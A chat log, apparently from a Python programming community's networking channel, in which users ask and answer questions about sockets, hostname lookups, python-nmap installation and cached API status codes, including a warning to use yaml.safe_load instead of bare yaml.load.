If it's a dictionary which is a key-value pair system you need to assign a key to each client and then the value which is most likely the client object. Then you create the dictionary by doing something like: data = dict(), then when you accept a connection data[current_client] = client and then whichever client you want to send to can later be accesed by client = data[some_number]. This is just pseudo code and you'd need to keep track of current clients and such though.

#

Or maybe you're exchanging some username with the client which you want to use as a key instead of numbers, which is possible too

ember ledge
#

Okay, I will try it. Thank you very much for the reply

#

@narrow oak

narrow oak
lofty sandal
#

holaaa

#

hellooo

#

which is the best python certificate

#

hello i cn hear you

#

hello hello

slender steeple
#

@civic wyvern DO NOT USE BARE yaml.load

#

its vulnerable to pickle rce

#

because pyyaml had the brilliant ℒ️ idea to make their yaml serialization add a bunch of random vulnerable extensions to yaml that are unsupported by literally every other yaml lib(because they're based on pickle)

#

use yaml.safe_load

#

however, this means you have to stick to what vanilla yaml provides(so no tuples)

#

which you should have been doing anyways

#

just make it a list

#

@storm saffron this is also the reason why its producing the weird yaml with !!python/tuple

storm saffron
#

Ahh right i forgot about that

#

Weird serialisation

#

Ironically for this case the non standard behaviour doesn't matter but the rce definitely does

civic wyvern
#

Is theire a convenient way to constantly listen on a socket client, except for when you want to send data? Cause I assume that socket.recv() is blocking

small scarab
#

im looking to get into more networking programming with python with modules like sockets does anybody know any good resources for this kind of thing?

narrow oak
grave fractal
#

i have an issue where i get wrong hostnames from an ipaddress, and upon reversing it (asking for ip thru hostname) two different devices point me to the same ip

#

this isnt just with this ip address, happens to several of the devices on my wlan and lan

#

restarted my router, but still get wrong hostnames

#

(pls ping me if you come up with something)

frozen drum
#

try socket.getaddrinfo() instead, that's generally better since you also get IPv6 info

grave fractal
#
[(<AddressFamily.AF_INET: 2>, <SocketKind.SOCK_STREAM: 1>, 6, '', ('10.0.0.15', 8080)), (<AddressFamily.AF_INET: 2>, <SocketKind.SOCK_DGRAM: 2>, 17, '', ('10.0.0.15', 8080)), (<AddressFamily.AF_INET: 2>, <SocketKind.SOCK_RAW: 3>, 0, '', ('10.0.0.15', 8080))]
#

changed from 10.0.0.14 to 15 because i restarted my router to see if that helped, it didnt and now my brothers phone is offline oops

grave fractal
#

update, ive updated my router, and that seemed to help! now when i use gethostbyaddr i get the correct name, wonder why it adds a '.home' at the end trho

#

as of now everything has .home at the end

#

just a mild annoyance

#

so yeah everyhting works now, got the router page nexct to me and all the ifo is correct

#

also dont mind the blur i just noticed it was a feature and it looks cool

#

and it even finds new devices! πŸ˜„ alright its 2 am night

civic wyvern
#

Is there a way to listen on a socket constantly, except for when you want to send instruction. Without using a non-blocking or 2 socket solution?

storm saffron
#

well if it can't be nonblocking then it must be blocking

#

in which case you have to wait for the timeout or for data to be received

civic wyvern
#

So if i understand correctly, i can receive in a loop with set timeout and when timeout i can send needed data over the socket?

ember ledge
#

How can i speed up selenium? My friend is trying to make a item sniper for roblox but it seems its a bit slow? How could I speed it up

azure aurora
#

@ember ledge Selenium or the test runs?

ember ledge
#

Im not sure where to post it

azure aurora
ember ledge
#

Does anyone have experience connecting two computers directly using an ethernet cable? I have two computers on the same local network that can communicate, but I would like to circumvent the wifi router to make the connection more reliable

limber dock
#

yeah you can usually just connect them straight

#

there's some weird host thing that goes on that makes it possible; if you type ifconfig or ipconfig on each computer, it'll tell you the IP addresses

ember ledge
#

alright well I guess I'll just plug them in then

narrow oak
#

Think this falls under rule 5 though

hollow wadi
#

is there any good videos for learning python within a cyber security spectrum like automation scripting

#

Ik the fundmentals

#

and youtubers or udemy courses you guys suggest would be nice

ember ledge
#

Hi, I installed nmap module with pip (I also tried pip3) but I can't use nmap.PortScanner(), it says AttributeError: module 'nmap' has no attribute 'PortScanner'

storm saffron
#

pip install python-nmap?

ember ledge
#

yes

brittle loom
#

The situation is:
They make a request to have an API to be called (with a wrapper), but the response of the API has already been recorded previously and is cached in a file. No request was made to the api and the data was taken from cache.

The user requests the content of the api request and the STATUS code. (they would be assuming the api was called) What code do I send?

mossy root
#

(I use socket module)
Hi, I connected my client to a remote raspberry server, I opened a port on the internet box (server side). I can send a message from client to server, but not from server to client.

  • How to send message server to client without opening a port on client's box side?
storm saffron
#

you can't

#

unless you do it by having the client ask the server for what messages it needs to receive

storm saffron
#

because it does the thing i mentioned